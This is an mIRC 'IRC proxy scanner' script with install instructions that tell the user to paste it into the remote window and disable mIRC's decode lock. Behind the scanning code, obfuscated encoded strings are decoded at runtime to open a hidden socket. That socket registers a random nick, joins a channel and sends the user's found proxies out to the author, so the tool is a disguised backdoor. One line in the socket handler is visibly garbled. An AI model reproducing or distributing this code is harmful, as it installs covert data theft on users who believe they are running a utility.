To install:
- Download mIRC at http://www.mIRC.com .
- Press ALT + R in mIRC to open remote window.
- Copy & Paste the code below into de remote window, then press OK.
- If you get a $decode Error (script does work so do the following step):
- Uncheck the Decode lock in mIRC options in Other -> Lock
Copy paste all your proxys into the @proxyscan window and theyll be queued for scanning.
Thanks for using my script
;CODE
;IRC proxy scanner BETA made by independent
;Disclaimer:
;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.
;I will not be held responsible for any of your actions.
;If you don't agree, do not install this file.
;By not deleting this and using the proxy scanner, you accept the responsibility of your action on your own.
alias sc4n {
if (666* !iswm $2) && (7000 != $2) && (3127 != $2) && (3124 != $2) {
if ($read($pxy,w,* $+ $1 $+ *) != $null) { /echo @proxyscan $1 $2 Already in list, halted scan. | return }
echo @Proxyscan Scanning: $1 $2
sockopen scan $+ $r(0,99999999999999) $1 $2
return
}
elseif (666* iswm $2) || (7000 == $2) || (3127 == $2) || (3124 == $2) { goto next }
:next
}
alias setinterval {
echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
echo -a To run the script without problem try an interval between 300 and 700
:restart
%interval = $?="Enter interval in milliseconds, 1 to 10000 "
if (!$!) || ($! >= 10000) goto restart
}
alias scan.win {
if (%interval == $null) setinterval
if ($window(@proxyscan) != $null) { titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy) }
if ($window(@proxyscan) == $null) {
set %gh .'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg JSxTJFMsUzxg &;F]T:6-E````
window -ean @proxyscan
titlebar @proxyscan Pxy2day: $lines($pxy2day) AllPxy: $lines($allpxy) IRCPxy: $lines($pxy)
echo @proxyscan Select all proxies in a page ( CTRL + A ) , copy ( CTRL + C )
echo @proxyscan Return to @PROXYSCAN window then paste ( CTRL + V ) IPS in the edit-box below.
echo @proxyscan FORMAT IN WINDOW: you must use only IP:PORT format, in the text box below you must, type valid proxy ip or paste the content of clipboard.
echo @proxyscan I.e.2.: Type: 127.0.0.1:80 and it will scan your computer for open proxy on port 80.
echo @proxyscan -
echo @proxyscan Here some forums you can leech for daily proxys:
echo @proxyscan http://www.aliveproxy.com/forum/
echo @proxyscan http://forum.freshproxy.com/
echo @proxyscan http://forum.my-proxy.com/?from=menu
echo @proxyscan http://www.xroxy.com/xorum/
}
}
alias getiphost2 { if $regex(ip,$remove($1-,$chr(9)),/(([01]?\d\d?|2[0-4]\d|25[0-5])\.(?2)\.(?2)\.(?2)[:\s]\d{2,5})(?:\D|$)/) { $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32)) } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
Proxy Scanner
.IRC proxy scanner BETA: scan.win | echo @proxyscan Paste your proxies here
.-
.CHECK FRESH PROXIES: /run $pxy
.CHECK ALL PROXIES FOUND: /run $allpxy
.-
.CHANGE INTERVAL OF SCAN: setinterval
.SCAN PROXY FILES: selectmultiplefile
.-
.ABORD SCANS: abord
.-
.CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
.-
.CLEAR: /clear
.-
.Proxy lists
..Best proxy forums
...Alive proxy forum: run http://www.aliveproxy.com/forum/
...Forum Freshproxy: run http://forum.freshproxy.com/
...My-Proxy forum: run http://forum.my-proxy.com/?from=menu
...Xorum: run http://www.xroxy.com/xorum/
..TOP 10 MOST POPULAR WEBSITES
...Stay Invisible: run http://www.stayinvisible.com
...Proxy4Free: run http://www.proxy4free.com
...PublicProxyServers:run http://www.publicproxyservers.com/page1.html
...AnonymityChecker:run http://www.anonymitychecker.com/page1.html
...Proxz:run http://www.proxz.com/
...MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
...Samair:run http://www.samair.ru/proxy/
...Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
...HighAnonimity: run http://highanonymity.com/
...mazafaka: run http://proxy.mazafaka.ru/
..-
..GOOD SITES
...www.aliveproxy.com/forum/index.php?: run http://www.aliveproxy.com/forum/index.php?
...nntime.com/proxy/proxy-list-1.htm: run http://nntime.com/proxy/proxy-list-1.htm
...pc-r00m.net/?mod=content&read=1: run http://pc-r00m.net/?mod=content&read=1
...pro-hack.ru/proxy/showproxy.php: run http://pro-hack.ru/proxy/showproxy.php
...proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n: run http://proxy.mazafaka.ru/?c=SI&t=all&m=5&checked=n
...proxy.mplampla.com/: run http://proxy.mplampla.com/
...proxy.org/port80.shtml: run http://proxy.org/port80.shtml
...proxy.xrout.org/: run http://proxy.xrout.org/
...qingxin.mine.nu/x.php: run http://qingxin.mine.nu/x.php
...samair.ru/proxy/: run http://samair.ru/proxy/
...www.0privacy.com/proxy.html: run http://www.0privacy.com/proxy.html
...www.antichat.ru/proxy/: run http://www.antichat.ru/proxy/
...bismark.extracon.it/proxylist/: run http://bismark.extracon.it/proxylist/
...www.allsyntax.com/proxies/index.php?page=4: run http://www.allsyntax.com/proxies/index.php?page=4
...www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml: run http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml
...www.ilike.com.cn/arts/dnne/21509.html: run http://www.ilike.com.cn/arts/dnne/21509.html
...www.multiproxy.org/anon_proxy.htm: run http://www.multiproxy.org/anon_proxy.htm
...www.proxy-list.net/anonymous-proxy-lists.shtml: run http://www.proxy-list.net/anonymous-proxy-lists.shtml
...www.proxy-world.de/content/view/351/2/: run http://www.proxy-world.de/content/view/351/2/
...www.proxy4free.com/index.html: run http://www.proxy4free.com/index.html
...www.proxyblind.org/list.shtml: run http://www.proxyblind.org/list.shtml
...www.proxycn.net/proxy_mail/page1.htm: run http://www.proxycn.net/proxy_mail/page1.htm
...www.proxyelite.org/: run http://www.proxyelite.org/
...www.proxyfarm.com/must_be_logged_in.htm: run http://www.proxyfarm.com/must_be_logged_in.htm
...www.proxyleech.com/proxylist.txt: run http://www.proxyleech.com/proxylist.txt
...www.proxylists.us/monthly.html: run http://www.proxylists.us/monthly.html
...www.samair.ru/proxy/: run http://www.samair.ru/proxy/
...www.shadowicq.com/freeproxy.html: run http://www.shadowicq.com/freeproxy.html
...www.socklabs.com/proxylist.txt: run http://www.socklabs.com/proxylist.txt
...www.steganos.com/?area=updateproxylist: run http://www.steganos.com/?area=updateproxylist
...www.undergroundsecurity.net/proxy/proxy_list_full_2.php: run http://www.undergroundsecurity.net/proxy/proxy_list_full_2.php
...www.waraxe.us/ftopict-507.html: run http://www.waraxe.us/ftopict-507.html
...www.xroxy.com/proxy-country.htm: run http://www.xroxy.com/proxy-country.htm
...proxylist.sakura.ne.jp/: run http://proxylist.sakura.ne.jp/
...www.publicproxyservers.com/page1.html: run http://www.publicproxyservers.com/page1.html
...www.proxylist.blogspot.com/: run http://www.proxylist.blogspot.com/
}
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
;alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
if (/ !isin $1) {
set %flooding on
write temp $getiphost2($1-)
.timerscanfile 1 1 .pxyfile temp %interval
.timerscanfileoff 1 1.1 .remove temp
halt
}
}
alias sk {
write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
if ($sock(scan_).mark == c) && ($wildtok(%m,*,0,32) == 9) { sockwrite -n scan_ $decode($gettok(%gh,9,32)) $decode(' 0) && ($read($pxy,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *) != $null) { write -dl $+ $readn $pxy | echo @proxyscan * Removed $sock($sockname).ip $+ : $+ $sock($sockname).port from list }
if ($sockerr > 0) {
if (_ isin $sockname) .timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
return
}
if (_ !isin $sockname) {
sockwrite -n $sockname CONNECT irc.accessirc.net:6667 HTTP/1.0 $+ $crlf
sockwrite -n $sockname $crlf
sockwrite -n $sockname $crlf
}
}
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
alias av return [AP] $+ $r(A,Z) $+ $r(0,9) $+ $+ $r(z,Z) $+ $+ $r(a,z) $+ $+ $r(0,9) $+ $r(0,9) $+ $r(0,9)
alias success { echo @proxyscan $1- | if ($wildtok(%m,*,0,32) >= 9) unset %m | %m = $rencode($2) %m | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 30 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return system\files\proxys\ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
scan.win
sockread %scan
tokenize 32 %scan
set %scan.ip $sock($sockname).ip
set %scan.port $sock($sockname).port
%hh = -*FYO=&EC92IA=71H*@``
if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $2
if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
if ($decode(%hh) iswm %scan) && (_ isin $sockname) { sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $+ $r(A,Z) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av "." "." : $+ $av | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) $av }
if (HTTP/* iswm $gettok(%scan,1,32)) {
if ($gettok(%scan,2,32) > 200) {
if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
sockclose $sockname
return
}
elseif ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is a valid proxy, but did not connected an IRC server yet. }
}
if ($gettok(%scan,2,32) == NOTICE) && (accessirc isin $1-) {
set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
if (%readi == $null) { success * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Added to list) | write $banned $sock($sockname).ip $+ : $+ $sock($sockname).port | sockclose $sockname | unset %redi | unset %radi | halt }
if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Connected, Already in list, cant add) | sockclose $sockname | unset %redi | unset %radi | halt }
unset %readi
}
unset %scan
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $decode($decode($gettok(%gh,8,32),m)) : $+ $chr(36) $+ $decode($decode(KDxWXUM6VllBOzY0YA==,m))
alias pb return echo @proxyscan
alias scanfile { sc4n $getiphost2($1-) }
;End of Code